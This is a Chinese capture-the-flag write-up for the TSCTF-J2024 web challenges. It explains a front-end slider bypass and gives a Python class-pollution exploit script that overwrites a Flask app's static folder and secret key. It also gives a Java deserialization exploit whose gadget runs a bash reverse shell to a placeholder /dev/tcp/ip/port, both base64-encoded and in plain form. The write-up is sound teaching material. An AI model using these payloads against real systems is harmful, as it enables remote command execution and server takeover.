0%

TSCTF-J2024 WP

set set what(WEB 签到)

解法1: 修改html前端拖动条范围上下界,直接拖

解法2: 看js里面最开始有个函数叫setSliderValue 控制台输入 setSliderValue(xxxxx)

解法3: 也有逆向手喜欢看js混淆后的代码,找到qq号十六进制后的数据地方

1
_0x167719 == 0x993be543 && alert(_0x1d4b54);

改成!=并应用 随便刷新一下就出了

解法4: 把按钮类型type删掉,直接输入值

前端题全在本地,随便改改应该就出了,或者难道你真是fps高手

解法5: 一眼顶针,发现有两个base64,解码是flag前面一段,再猜猜,又找到一端带==的,复制到一起直接出了。(或者js发给gpt4-o,会告诉你flag)

解法很多不一一说了,前端题都在本地,想办法改改就出了

我闻到了[巧物]的清香

世上的道路有很多条,而每个人都有属于自己的那一条

原型链污染,需要让SECRET_KEY == secret_value得到flag

但是SECRET_KEYtry to find truthsecret_value不知道是什么

1
2
3
os.makedirs('imagedir', exist_ok=True)
with open(os.path.join('imagedir', 'secret'), 'w') as f:
f.write(secret_value)

发现这里将secret_value写入imagedir

1
2
3
4
5
6
7
8
@app.route('/read_secret', methods=['GET'])
def read_secret():
try:
with open(os.path.join(app.static_folder, 'secret'), 'r') as f:
secret = f.read()
except FileNotFoundError:
secret = "You haven't found the correct path yet."
return f"Secret: {secret}"

这里可以读出secretkey

所以逻辑很清晰了,先污染路径读取secret_value,再污染app.config[‘SECRET_KEY’]等于secret_value

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
url="http://127.0.0.1/"

data1 = {
"__init__": {
"__globals__": {
"app": {
"_static_folder": "imagedir"
}
}
}
}
data2 = {
"__init__" : {
"__globals__" : {
"app" : {
"config" : {
"SECRET_KEY" :"AD049E0604C7CB01F2A7AFA1075B81B7"
}
}
}
}
}

r=requests.post(url, json=data1)
print(r.text)
r=requests.get(url+"flag")
print(r.text)
r=requests.get(url+"read_secret")
print(r.text)
#第一次污染路径获取到secret的值AD049E0604C7CB01F2A7AFA1075B81B7

r=requests.post(url, json=data2)
print(r.text)
r=requests.get(url+"flag")
print(r.text)
r=requests.get(url+"read_secret")
print(r.text)
#第二次污染SECRET_KEY 为secret的值,访问flag页面获取flag

原型链污染就去本地调试,方便看是否污染成功,而且不会搞坏环境

瑞福莱克珅

题目描述讲解了需要学习的地方,有很多人来问,也发现了很多疑惑的地方,我就从原理思路去讲解

首先题目运行环境是无法更改的,你在本地代码里面加入的任何值不会影响服务器环境。

题目分析

1
2
3
4
5
6
7
8
9
10
11
12
13
//IndexController    
@RequestMapping({"/basic"})
public String greeting(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
byte[] b = Utils.hexStringToBytes(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String BUPT = objectInputStream.readUTF();
String merak= objectInputStream.readUTF();
if (BUPT.equals("BUPT") && merak.equals("merak")) {
objectInputStream.readObject();
}
return "index";
}

这里我们发现需要传入hexString,并readUTF()两次,readObject()一次,前面两次UTF需要按顺序写入,writeUTF,后面检测两个UTF成功后,调用readObject方法,我们发现题目环境有一个Calc类

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Calc implements Serializable {
private boolean hasPermission = false;
private String cmd = "calc";

public Calc() {
}
private void readObject(ObjectInputStream objectInputStream) throws Exception {
objectInputStream.defaultReadObject();
if (this.hasPermission) {
Runtime.getRuntime().exec(this.cmd);
}
}
}

里面readObject里面有exec函数,可以执行恶意命令,当前面执行到objectInputStream.readObject();时,如果是calc类,就会调用他重写的readObject方法,所以我们需要控制cmd的值

传入的序列化字符串是我们自己定义的,也就是说可以控制传入的类的值

1
2
private boolean hasPermission = false;
private String cmd = "calc";

这里两个成员变量都是private,需要反射修改hasPermission为true,cmd为反弹shell命令

被问到的问题:

为什么不能直接Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");

因为exec的字符串分割问题,这里参考博客吧

Java反弹shell小记(个人学习记录) - yunying - 博客园 (cnblogs.com)

为什么把各个类复制进去写的exp得到的hex无法命令执行

做java题时候一定要本地起个环境调试,通了再打远程,别怕麻烦

需要将jar包反编译,自己根据jar包内容新建一个项目,在不影响原本服务文件的情况下,新建一个新的类,去调用,去写exp,还要保证package什么的命名一致

至此,逻辑基本分析清楚了,Exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.avasec;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class Exp {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
Calc C=new Calc();
Class clazz = C.getClass();

Field field1 = clazz.getDeclaredField("hasPermission");
field1.setAccessible(true);
field1.set(C,true);

Field field2 = clazz.getDeclaredField("cmd");
field2.setAccessible(true);
field2.set(C,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}");

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeUTF("BUPT");
oos.writeUTF("merak");
oos.writeObject(C);
oos.close();

System.out.println(Utils.bytesTohexString(barr.toByteArray()));
}
}

后记

整体上个人评价我出的新生赛难度刚好,前端题是为了当大家一开始有解hhh,也体会过一场比赛如果前面一大半时间0解的话难免有挫败感然后不做了,有个题出也能让大家更好的状态去看其他题。

原型链污染倒是随手加的,两次污染,没有Waf,理解下代码,还是一个比较正常的题。(比较喜欢题目名字)

除了可以秒了Reflection这个题的师傅之外,相信这应该是其他师傅的第一道Java题目,遇到的反弹shell,本地调试,目录结构等问题,看完这个题后续java安全的一些基础部分应该不会卡太久,希望这道题目对一些问题可以做到基本的解惑,也祝各位师傅安全之路畅通无阻!